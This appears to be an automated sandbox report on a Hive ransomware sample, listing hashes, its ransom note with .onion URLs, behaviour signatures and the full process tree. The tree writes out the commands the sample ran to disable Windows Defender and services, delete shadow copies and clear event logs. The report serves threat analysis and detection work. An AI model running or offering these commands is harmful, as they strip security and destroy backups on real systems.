Analysis

  • max time kernel
    31s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    12/03/2025, 01:39

General

  • Target

    2025-03-12_78fb5aaf33ba7bc649c3896f0be1c94b_frostygoop_hive_sliver_snatch.exe

  • Size

    2.6MB

  • MD5

    78fb5aaf33ba7bc649c3896f0be1c94b

  • SHA1

    7369fa3e614595cb02ca09b3c8472a7258d569e1

  • SHA256

    c15f267a2f8728cda84ae89122d07f706a92e23154bbb4b99e07892ae94ce083

  • SHA512

    dfa459ab1e493251de0f0f0beba0e709b68c8da41e8a36c945df39f209f15f220d2e1db87fb4ff666c61b11e5e2591912fdb08e2de87171e8cf8147d8d298c22

  • SSDEEP

    24576:LSWJv2CcnkpG1pSh6WFCTfqX9XyLpwE0D3modZ7GE+rcrVoPETgDqhCi1EbGTkSm:L/uEXTdZT+6VfHc3qui0CwSZE701D1j

Malware Config

Extracted

Path

C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\pK8K_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: ojxQoX78fsLX Password: rMaNEBFqXrCE9FKmLdwQ To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.pirxq files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Disables service(s) 3 TTPs
  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Hive family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-12_78fb5aaf33ba7bc649c3896f0be1c94b_frostygoop_hive_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-12_78fb5aaf33ba7bc649c3896f0be1c94b_frostygoop_hive_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2412
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2652
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2284
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2560
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2272
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2072
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "UI0Detect" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "UI0Detect" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2896
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "VSS" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2908
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "VSS" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2888
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "wbengine" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2856
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "wbengine" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2832
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "WebClient" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "WebClient" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2816
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "NetMsmqActivator" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2956
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SamSs" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3016
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SDRSVC" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2964
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SstpSvc" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2952
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "UI0Detect" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2812
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "VSS" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2712
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "wbengine" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2768
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "WebClient" start= disabled
      2⤵
      • Launches sc.exe
      PID:2740
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
      2⤵
      • Modifies Security services
      • System Location Discovery: System Language Discovery
      PID:1980
    • C:\Windows\SysWOW64\reg.exe
      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3048
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • System Location Discovery: System Language Discovery
      PID:2940
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2588
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1704
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:1396
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:1084
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:2244
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      PID:620
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:752
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2208
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2132
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2120
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1952
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:332
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      2⤵
        PID:1644
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1468
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:536
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1304
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:468
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2008
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1992
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1068
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2060
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1484
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        2⤵
          PID:1608
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1492
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:1800
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:1628
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:1968
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:352
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies security service
          • System Location Discovery: System Language Discovery
          PID:888
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:712
        • C:\Windows\SysWOW64\vssadmin.exe
          vssadmin.exe delete shadows /all /quiet
          2⤵
          • System Location Discovery: System Language Discovery
          • Interacts with shadow copies
          PID:1736
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl system
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2616
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl security
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:776
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl application
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1984
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          wmic.exe SHADOWCOPY /nointeractive
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1852
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          wmic.exe shadowcopy delete
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1660
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1556
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            3⤵
            • Deletes Windows Defender Definitions
            PID:2416
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
          2⤵
            PID:1724
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableIOAVProtection $true
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1936
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2840
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableRealtimeMonitoring $true
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2904

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\pK8K_HOW_TO_DECRYPT.txt

          Filesize

          1KB

          MD5

          9a85ef171a3182928e879bda7d95fd5c

          SHA1

          a6d05725bfd9cbbdaaf00e852db758f8079b7b61

          SHA256

          0139e27268b1e24ffa81147d9e8660f6eec2b162ab930a45469dccbc1ff31024

          SHA512

          5b4042e90b5d802e89d6073e7a2fd0994c854af86d0bbd5c40f36b4162217a83aa9a1142ccb4cface094e63f26ba7f8d6bec3870bca8a6587b1d72e4394eaa58

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

          Filesize

          7KB

          MD5

          59a7a8a5ca107eed855da932ea6d9efd

          SHA1

          4e52a940053ff0a3ca37c0ae75097e8fe2ec2365

          SHA256

          7de66f82e8ac3110d4ee7136d5ae0c711c21b2f8106d90b373c1887b77ea3994

          SHA512

          3c2a5a6007e00171288d0e947ed1176935601f60ca727dc99302989f5cb336b95269284a798b37701e1d970953ef5c14ec48dc7b8b47827380805c82871e3924